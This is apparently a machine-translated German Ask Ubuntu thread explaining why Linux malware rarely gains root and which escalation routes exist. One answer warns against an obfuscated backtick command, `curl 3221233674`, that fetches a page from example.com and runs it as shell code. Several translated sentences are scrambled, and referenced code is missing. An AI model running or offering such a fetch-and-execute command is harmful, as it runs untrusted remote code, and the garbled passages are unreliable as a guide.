Ich verstehe, dass Malware, wenn sie in ein Linux-System eindringt, allenfalls ein Benutzerrecht erhält und alles ruiniert, was sich in der Reichweite des jeweiligen Benutzers befindet, dh die eigenen Dateien des Benutzers.
Aber was genau hindert die Malware daran, auf Root-Ebene zuzugreifen? Kann es nicht irgendwie das Passwort von innen knacken?
Antworten:
Dies ist eine komplexe Frage. In einem Ubuntu-System gibt es viele verschiedene Sicherheitsebenen, von komplexen Frameworks wie AppArmor bis hin zu einfachen Kernelvariablen wie
mmap_min_addr
. Sie können dem Mix einige Kernel-Funktionen wie die Speicher-Randomisierung hinzufügen. Sie finden eine Liste mit kurzen Erklärungen im Ubuntu-Wiki .Ein weiterer wichtiger Faktor ist, dass die Updates schnell und einfach sind. Die meisten Computer werden also auf die letzten Sicherheitsupdates aktualisiert.
Soweit ich weiß, hat ein Angreifer, der lokalen Zugriff auf Ihren Computer hat, drei Möglichkeiten, die Kernel-Berechtigungen zu skalieren:
Knacken Sie das Passwort. Dies wird jedoch sehr schwierig, da das Kennwort verschlüsselt gespeichert wird und Algorithmen verwendet werden, bei denen kein Fehler bekannt ist. Es wird Ewigkeiten dauern, um es zu knacken.
Fehler im Kernel. Alle Sicherheitsfunktionen des Kernels werden jedoch beeinträchtigt.
Trick den Benutzer, das Passwort zu verraten, dh Social Engineering. Zeigen Sie einfach einen gefälschten Kennwortdialog an oder verwenden Sie einen anderen Trick. Dies ist der einfachste Weg, dies zu tun.
Der dritte Punkt ist die derzeit schwächste Verwundbarkeit.
quelle
sudoers
.Das Knacken des root-Passworts selbst ist nicht möglich, da Ubuntu den root-Benutzer standardmäßig deaktiviert hat. Wenn Ihr Benutzer jedoch durch sudo root werden kann und Ihr Passwort leicht zu erraten ist, haben Sie ein unsicheres System. Beispielskript zum Testen eines Passworts:
Durch Hinzufügen eines nicht vertrauenswürdigen Repositorys können Programme aus diesem Repository installiert werden. Selbst wenn Sie eine Anwendung wie diese nicht explizit installieren
sudo apt-get install [app-from-repo]
, kann das Repository dennoch andere Programme beeinflussen, indem Ubuntu davon ausgeht, dass das Repository eine neuere Version eines bestimmten Programms enthält.Der Update-Vorgang wird als root ausgeführt, da sonst keine Dateien in
/usr/bin
oder geschrieben werden konnten/etc
. Ein Installations-Trigger wird auch als root ausgeführt und kann willkürlich und möglicherweise schädliche Befehle ausführen. Jetzt mach dir keine Sorgen, zum Aktualisieren von Programmen sind manuelle Maßnahmen erforderlich, und die Ubuntu-Repositorys sind sicher. Closed-Source-Software wie Windows kann niemals als vertrauenswürdig eingestuft werden, da die Quelle nicht auf schädlichen Code überprüft werden kann. Sie können jedoch bei Bedarf die Quelle der Ubuntu-Anwendung überprüfen (gilt nicht für proprietäre Programme wiesun-java6
oder Flash).Wie von Javier Rivera erwähnt, können Kernel-Fehler zur Ausführung von willkürlichem Code führen, aber auch fehlerhafte Software kann gefährlich sein, insbesondere fehlerhafte
setsuid
Root-Binärdateien (Binärdateien, die unter dem Dateibesitzer root ausgeführt werden) und andere fehlerhafte Programme, die als Root ausgeführt werden.Sie können Sicherheitslücken in Ihrem System schaffen, wenn Sie nicht darauf achten, was Sie tun. Ohne das Konzept von Cronjobs vollständig zu verstehen, haben Sie beispielsweise einen Cronjob hinzugefügt,
/etc/cron.daily
der ein Programm in Ihrem/bin/sh /home/your-username/myscript.sh
Basisordner ausführt (z . B. kann ein Exploit bösartig sein, wenn die Datei myscript.sh von Ihnen schreibbar ist und von Ihnen gelöscht werden kann Code, inmyscript.sh
dem als root ausgeführt wird (erweiterte Rechte).Um sicher zu gehen, benutze deinen Verstand! Führen Sie keine Befehle aus nicht vertrauenswürdigen Quellen aus, wenn Sie nicht wissen, was sie bewirken. Wenn jemand sagt, renne
`curl 3221233674`
mit Back-Ticks, dann nicht. 3221233674 ist eine andere Möglichkeit zum Schreiben192.0.32.10
(IP von example.com). Es wäre also gleich:Diese Back-Ticks bewirken, dass die Ausgabe als Shell-Befehle ausgeführt wird. Im Klartext: "Laden Sie die Seite http://example.com/ herunter und versuchen Sie, die heruntergeladene Seite auszuführen".
Zuerst würden Sie in dem gegebenen Befehl nichts Bösartiges sehen. Aber jetzt wissen Sie, dass es auch missbraucht werden kann.
Überprüfen Sie immer die Befehle / Skripte, die Sie aus nicht vertrauenswürdigen Quellen wie dem Internet erhalten.
quelle